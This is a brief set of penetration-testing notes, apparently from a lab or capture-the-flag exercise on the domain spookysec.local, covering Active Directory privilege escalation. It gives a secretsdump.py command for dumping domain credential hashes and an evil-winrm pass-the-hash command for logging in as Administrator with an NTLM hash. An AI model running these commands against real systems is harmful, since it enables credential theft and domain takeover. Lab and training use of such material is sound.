🚪Privilege Escalation

Elevating Privileges within the Domain

Dumping Credentials

Secretsdump.py

sudo secretsdump.py -dc-ip <domain IP address> spookysec.local/<account>:<password>@<domain IP address>

Pass The Hash Attack

Evil-Winrm

sudo evil-winrm -i <domain IP> -u Administrator -H <ntlm hash>